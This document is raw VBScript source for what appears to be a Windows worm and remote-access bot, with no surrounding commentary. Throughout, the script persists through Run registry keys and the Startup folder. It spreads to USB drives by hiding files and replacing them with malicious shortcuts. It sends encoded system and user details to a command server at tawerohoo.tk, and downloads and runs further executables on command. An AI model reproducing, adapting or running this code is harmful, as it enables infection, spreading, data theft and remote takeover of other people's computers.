1

gate = "http://tawerohoo.tk/gate.php"
UserAgent = "1"
ConnectionKey = "1"
ConnectionTime = 45000

dim shellobj
set shellobj = wscript.createobject("wscript.shell")
dim filesystemobj
set filesystemobj = createobject("scripting.filesystemobject")

InstallDir = "%APPDATA%"
InstallName = wscript.scriptname
lnkfile = true
lnkfolder = true
startup = shellobj.specialfolders ("startup") & "\"
installdir = shellobj.expandenvironmentstrings(installdir) & "\"
if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"

on error resume next
while true
call Install
call usb
call getCommand(Gate, UserAgent, ConnectionKey)
wscript.sleep ConnectionTime
wend

Function GetSetting(AppName, Section, Key)
    On Error Resume Next
    GetSetting = shellobj.RegRead("HKEY_CURRENT_USER\Software\VB and VBA Program Settings\" & AppName & "\" & Section & "\" & Key)
End Function

Function SaveSetting(AppName, Section, Key, Setting)
    On Error Resume Next
    shellobj.RegWrite "HKEY_CURRENT_USER\Software\VB and VBA Program Settings\" & AppName & "\" & Section & "\" & Key, Setting, "REG_SZ"
End Function

Function os()
    On Error Resume Next
    If inf = "" Then
        Set root = GetObject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
        Set os = root.ExecQuery("select * from win32_operatingsystem")
        For Each osinfo In os
            inf = inf & osinfo.Caption & spliter
        Exit For
        Next
        If Split(inf, "Microsoft ")(1) = "" Then
            os = "Unknown"
        Else
            os = Split(inf, "Microsoft ")(1)
        End If
    End If
End Function

Function GetRAM()
    On Error Resume Next
    Dim objWMIService, objComputer, colComputer
    Dim strLogonUser, strComputer
    strComputer = "."
    Set objWMIService = GetObject("winmgmts:"& "{impersonationLevel=impersonate}!\\"& strComputer & "\root\cimv2")
    Set colComputer = objWMIService.ExecQuery("Select * from Win32_ComputerSystem")
    For Each objComputer in colComputer
        GetRAM = objComputer.TotalPhysicalMemory/(1024*1024) & " MB"
    Next
End Function

Public Function GetTotalSpace()
    On Error Resume Next
    Set objWMIService = GetObject("winmgmts:")
    Set objLogicalDisk = objWMIService.Get("Win32_LogicalDisk.DeviceID='c:'")
    GetTotalSpace = objLogicalDisk.size/(1024*1024*1024) & " GB"
End Function

Public Function GetGPU()
    On Error Resume Next
    Dim List, msg, object
    Set List = GetObject("winmgmts:{impersonationLevel=impersonate}").InstancesOf("Win32_VideoController")
    If List.Count > 0 Then
        For Each object In List
            If LenB(object.VideoProcessor) > 0 Then
                msg = msg & object.Caption
            End If
        Next
    Else
        msg = ""
    End If
    GetGPU = msg
End Function

Public Function GetProcessor()
    On Error Resume Next
    Dim List, msg, object
    Set List = GetObject("winmgmts:{impersonationLevel=impersonate}").InstancesOf("Win32_Processor")
    If List.Count > 0 Then
        For Each object In List
            msg = msg & object.Name
        Next
    Else
        msg = ""
    End If
    GetProcessor = msg
End Function

Function GetAV()
    On Error Resume Next
    GetAV = ""
    Set objwmiservice = GetObject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
    Set colitems = objwmiservice.ExecQuery("select * from win32_operatingsystem", , 48)
    For Each objitem In colitems
        versionstr = Split(objitem.version, ".")
    Next
    versionstr = Split(colitems.version, ".")
    osversion = versionstr(0) & "."
    For X = 1 To UBound(versionstr)
        osversion = osversion & versionstr(i)
    Next
    osversion = osversion
    If osversion > 6 Then sc = "securitycenter2" Else sc = "securitycenter"
    Set objSecurityCenter = GetObject("winmgmts:\\localhost\root\" & sc)
    Set colantivirus = objSecurityCenter.ExecQuery("select * from antivirusproduct", "wql", 0)
    For Each objantivirus In colantivirus
        GetAV = security & objantivirus.DisplayName & " ."
    Next
    If GetAV = "" Then GetAV = "No Antivirus"
End Function

Function A_C()
    On Error Resume Next
    Dim ProcessorSet
    Dim CPU

    Set ProcessorSet = GetObject("Winmgmts:"). _
        ExecQuery("SELECT * FROM Win32_Processor")
    For Each CPU In ProcessorSet
        A_C = CStr(CPU.AddressWidth)
    Next
End Function

Function hwid()
    On Error Resume Next
    Set root = GetObject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
    Set disks = root.ExecQuery("select * from win32_logicaldisk")
    For Each disk In disks
    If disk.volumeserialnumber <> "" Then
        hwid = disk.volumeserialnumber
        Exit For
    End If
    Next
End Function

Function sXOR(sText, sKey)
    On Error Resume Next
    Dim i, s, k
    For i = 1 To Len(sText)
        s = Mid(sText, i, 1): k = Asc(s): k = k Xor Len(sKey): k = Chr(k): sXOR = sXOR & k
    Next
End Function

Function HEXEncode(xData)
    On Error Resume Next
    Dim iChar, sOutString, sTmpChar
    For iChar = 1 To Len(xData)
        sTmpChar = Hex(Asc(Mid(xData, iChar, 1)))
        If Len(sTmpChar) = 1 Then sTmpChar = "0" & sTmpChar
        sOutString = sOutString & sTmpChar
    Next
    HEXEncode = sOutString
End Function

Function Install()
    On Error Resume Next
    shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
    shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
    filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
    filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
End Function

Function usb()
    on error resume next
    dim lnkobj
    dim filename
    dim foldername
    dim fileicon
    dim foldericon

    for each drive in filesystemobj.drives

    if  drive.isready = true then
        if  drive.freespace  > 0 then
            if  drive.drivetype  = 1 then
                filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
                if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                    filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
                end if
                for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                if not lnkfile then exit for
                if  instr (file.name,".") then
                    if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                        file.attributes = 2+4
                        if  ucase (file.name) <> ucase (installname) then
                            filename = split(file.name,".")
                            set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk")
                            lnkobj.windowstyle = 7
                            lnkobj.targetpath = "cmd.exe"
                            lnkobj.workingdirectory = ""
                            lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                            fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\")
                            if  instr (fileicon,",") = 0 then
                                lnkobj.iconlocation = file.path
                            else
                                lnkobj.iconlocation = fileicon
                            end if
                        lnkobj.save()
                    end if
                end if
                end if
                next
                for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                if not lnkfolder then exit for
                folder.attributes = 2+4
                foldername = folder.name
                set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk")
                lnkobj.windowstyle = 7
                lnkobj.targetpath = "cmd.exe"
                lnkobj.workingdirectory = ""
                lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\")
                if  instr (foldericon,",") = 0 then
                    lnkobj.iconlocation = folder.path
                else
                    lnkobj.iconlocation = foldericon
                end if
                lnkobj.save()
                next
            end If
        end If
    end if
    next
    err.clear
End Function

Sub getCommand(panel,user,ckey)
    On Error Resume Next
    dim objHttp, strURL, strText, ID
    ID = GetSetting("Microsoft", "Windows", "ID")
    strURL = panel
        Set objHttp = CreateObject("MSXML2.ServerXMLHTTP")
    objHttp.Open "POST", strURL, False
    objHttp.setRequestHeader "User-Agent", user
    objHttp.setRequestHeader "Content-Type","application/x-www-form-urlencoded"
    If ID <> "" Then
        objHTTP.send ("pc=" & HEXEncode(sXOR(shellobj.ExpandEnvironmentStrings("%COMPUTERNAME%"), ckey)) & "&admin=" & HEXEncode(sXOR(GetAV, ckey)) & "&os=" & HEXEncode(sXOR(os, ckey)) & "&hid=" & HEXEncode(sXOR(hwid, ckey)) & "&arc=" & HEXEncode(sXOR(A_C & "-Bits", ckey)) & "&user=" & HEXEncode(sXOR(shellobj.ExpandEnvironmentStrings("%USERNAME%"), ckey)) & "&fw=" & HEXEncode(sXOR("Lite", ckey)) & "&ram=" & HEXEncode(sXOR(GetRAM, ckey)) & "&cpu=" & HEXEncode(sXOR(GetProcessor, ckey)) & "&gpu=" & HEXEncode(sXOR(GetGPU, ckey)) & "&hd=" & HEXEncode(sXOR(GetTotalSpace, ckey)) & "&id=" & HEXEncode(sXOR(ID, ckey)))
    Else
        objHTTP.send ("pc=" & HEXEncode(sXOR(shellobj.ExpandEnvironmentStrings("%COMPUTERNAME%"), ckey)) & "&admin=" & HEXEncode(sXOR(GetAV, ckey)) & "&os=" & HEXEncode(sXOR(os, ckey)) & "&hid=" & HEXEncode(sXOR(hwid, ckey)) & "&arc=" & HEXEncode(sXOR(A_C & "-Bits", ckey)) & "&user=" & HEXEncode(sXOR(shellobj.ExpandEnvironmentStrings("%USERNAME%"), ckey)) & "&fw=" & HEXEncode(sXOR("Lite", ckey)) & "&ram=" & HEXEncode(sXOR(GetRAM, ckey)) & "&cpu=" & HEXEncode(sXOR(GetProcessor, ckey)) & "&gpu=" & HEXEncode(sXOR(GetGPU, ckey)) & "&hd=" & HEXEncode(sXOR(GetTotalSpace, ckey)))
    End If
    strText = objHttp.ResponseText
    If Left(strText, 3) = "id|" Then
        call SaveSetting ("Microsoft", "Windows", "ID", Split(strText, "|")(1))
    ElseIf Left(strText, 3) = "DL|" Then
        call downloader (Split(strText, "|")(1), Right(strText, 3))
    ElseIf Left(strText, 3) = "DD|" Then
        call downloader (Split(strText, "|")(1), Right(strText, 3))
    ElseIf Left(strText, 3) = "UP|" Then
        if LCase(Right(strText, 3)) = "exe" then
            call downloader(Split(strText, "|")(1), Right(strText, 3))
            sleep 3000
            call uninstall
        else
            call Update(Split(strText, "|")(1))
            shellobj.run wscript.scriptfullname
            wscript.quit
        end if
    ElseIf Left(strText, 3) = "VV|" Then
        shellobj.run "Explorer " & Split(strText, "|")(1)
    ElseIf Left(strText, 3) = "VH|" Then
        shellobj.run "iexplore " & Split(strText, "|")(1),0,true
    ElseIf Left(strText, 3) = "UN|" Then
        call uninstall
    End If
    Set objHttp = Nothing
End Sub

Function downloader (fileurl,fext)
    On Error Resume Next
    strlink = fileurl
    strsaveto = installdir & "run" & "." & fext
    kill strsaveto
    set objhttpdownload = createobject("msxml2.xmlhttp" )
    objhttpdownload.open "get", strlink, false
    objhttpdownload.send

    set objfsodownload = createobject ("scripting.filesystemobject")
    if  objfsodownload.fileexists (strsaveto) then
        objfsodownload.deletefile (strsaveto)
    end if

    if objhttpdownload.status = 200 then
        dim  objstreamdownload
        set  objstreamdownload = createobject("adodb.stream")
        with objstreamdownload
            .type = 1
            .open
            .write objhttpdownload.responsebody
            .savetofile strsaveto
            .close
        end with
        set objstreamdownload = nothing
    end if
    if objfsodownload.fileexists(strsaveto) then
        shellobj.run objfsodownload.getfile (strsaveto).shortpath
    end if
End Function

Function uninstall()
    On Error Resume Next
    dim filename
    dim foldername

    shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
    shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
    filesystemobj.deletefile startup & installname ,true
    filesystemobj.deletefile wscript.scriptfullname ,true

    for  each drive in filesystemobj.drives
        if  drive.isready = true then
            if  drive.freespace  > 0 then
                if  drive.drivetype  = 1 then
                    for  each file in filesystemobj.getfolder ( drive.path & "\").files
                        on error resume next
                            if  instr (file.name,".") then
                                if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                                    file.attributes = 0
                                    if  ucase (file.name) <> ucase (installname) then
                                        filename = split(file.name,".")
                                        filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                                    else
                                        filesystemobj.deletefile (drive.path & "\" & file.name)
                                    end If
                                else
                                    filesystemobj.deletefile (file.path)
                                end if
                            end if
                    next
                        for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                            folder.attributes = 0
                        next
                end if
            end if
        end if
    next
        wscript.quit
End Function

Function Update(fileurl)
    On Error Resume Next
    strlink = fileurl
    strsaveto = installdir & InstallName
    kill strsaveto
    set objhttpdownload = createobject("msxml2.xmlhttp" )
    objhttpdownload.open "get", strlink, false
    objhttpdownload.send

    set objfsodownload = createobject ("scripting.filesystemobject")
    if  objfsodownload.fileexists (strsaveto) then
        objfsodownload.deletefile (strsaveto)
    end if

    if objhttpdownload.status = 200 then
        dim  objstreamdownload
        set  objstreamdownload = createobject("adodb.stream")
        with objstreamdownload
            .type = 1
            .open
            .write objhttpdownload.responsebody
            .savetofile strsaveto
            .close
        end with
        set objstreamdownload = nothing
    end if
End Function